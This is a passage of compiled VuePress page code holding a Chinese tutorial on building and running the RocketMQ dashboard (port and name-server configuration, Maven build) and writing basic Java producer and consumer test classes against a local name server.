punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.2"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("将127.0.0.2:9876删除或者注释掉,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# if this value is empty,use env value rocketmq.config.namesrvAddr NAMESRV_ADDR | now, default localhost:9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# configure multiple namesrv addresses to manage multiple different clusters")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namesrvAddrs")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# - 127.0.0.2:9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("RocketMQ控制台启动时默认监听的端口是8080,由于我们项目中订单微服务监听的端口也是8080,所以,将RocketMQ控制台监听的端口修改为10003,修改前的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8080")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10003")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(3)修改完application.yml文件后,打开cmd命令行,进入RocketMQ控制台源码的根目录,输入如下Maven命令开始编译RocketMQ控制台的源码。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("mvn clean "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("install")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-Dmaven.test.skip")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("编译过程如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-010.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)编译完成后,会在RocketMQ控制台源码的根目录下生成target目录,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("进入target目录后,可以看到生成了rocketmq-dashboard-1.0.1-SNAPSHOT.jar文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-012.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这个jar文件就是RocketMQ控制台的运行文件。")]),s._v(" "),a("p",[s._v("(5)重新打开cmd命令行,进入rocketmq-dashboard-1.0.1-SNAPSHOT.jar文件所在的命令,在命令行直接输入如下命令启动RocketMQ控制台程序。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("java")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-jar")]),s._v(" rocketmq-dashboard-1.0.1-SNAPSHOT.jar\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"验证rocketmq控制台"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证rocketmq控制台"}},[s._v("#")]),s._v(" 验证RocketMQ控制台")]),s._v(" "),a("p",[s._v("在浏览器中输入"),a("code",[s._v("http://localhost:10003")]),s._v("后,出现如下画面说明RocketMQ启动成功。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-013","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-013.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("界面默认是英文,我们也可以点击右上角的"),a("code",[s._v("changeLanguage")]),s._v("切换语言,切换成中文显示,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-014","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-014.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("选择主题菜单想后如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-015","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-015.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到目前RocketMQ中存在一个名称为TopicTest的主题,点击TopicTest主题的状态按钮,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-016","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-016.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("会显示TopicTest主题的消息队列信息,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-017","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-017.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确显示出了TopicTest主题的消息队列信息,说明RocketMQ控制台启动成功了。")]),s._v(" "),a("h2",{attrs:{id:"编码测试rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编码测试rocketmq"}},[s._v("#")]),s._v(" 编码测试RocketMQ")]),s._v(" "),a("p",[s._v("我们使用RocketMQ自带的生产者和消费者程序实现了消息的生成与消费,为了让小伙伴们能够更加直观的感受到消息中间件在项目中的作用,接下来,我们自己编码测试下RocketMQ。")]),s._v(" "),a("h3",{attrs:{id:"导入rocketmq依赖"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#导入rocketmq依赖"}},[s._v("#")]),s._v(" 导入RocketMQ依赖")]),s._v(" "),a("p",[s._v("在用户微服务shop-user的pom.xml中,添加RocketMQ相关的依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-spring-boot-starter"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.0.3"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-client"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("4.5.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("h3",{attrs:{id:"编写生产者代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编写生产者代码"}},[s._v("#")]),s._v(" 编写生产者代码")]),s._v(" "),a("p",[s._v("在用户微服务的sec/test/java目录下新建"),a("code",[s._v("io.binghe.shop.rocketmq.test")]),s._v("包,在包下创建RocketMQProducer类,作为RocketMQ的生产者,代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RocketMQ生产者\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQProducer")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建消息生产者")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQProducer")]),s._v(" producer "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQProducer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheProducerGroup"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置NameServer地址")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setNamesrvAddr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:9876"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//启动生产者")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("start")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//构建消息对象")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Message")]),s._v(" message "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Message")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello RocketMQ"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBytes")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"生产者发出的消息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//发送消息并接收结果")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("SendResult")]),s._v(" sendResult "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("send")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//打印结果信息")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"生产者收到的发送结果信息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("sendResult"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//关闭生产者")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("shutdown")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br")])]),a("p",[s._v("生产者的代码比较简单,这里就不再赘述了。")]),s._v(" "),a("h3",{attrs:{id:"编写消费者代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编写消费者代码"}},[s._v("#")]),s._v(" 编写消费者代码")]),s._v(" "),a("p",[s._v("在"),a("code",[s._v("io.binghe.shop.rocketmq.test")]),s._v("包下新建RocketMQConsumer类,作为RocketMQ的消费者,代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RocketMQ消费者\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQConsumer")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("try")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建消息消费者")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQPushConsumer")]),s._v(" consumer "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQPushConsumer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheConsumerGroup"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置NameServer地址")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setNamesrvAddr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:9876"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//订阅bingheTopic主题")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("subscribe")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"*"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置消息监听,当收到消息时RocketMQ会回调消息监听")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("registerMessageListener")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("MessageListenerConcurrently")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token 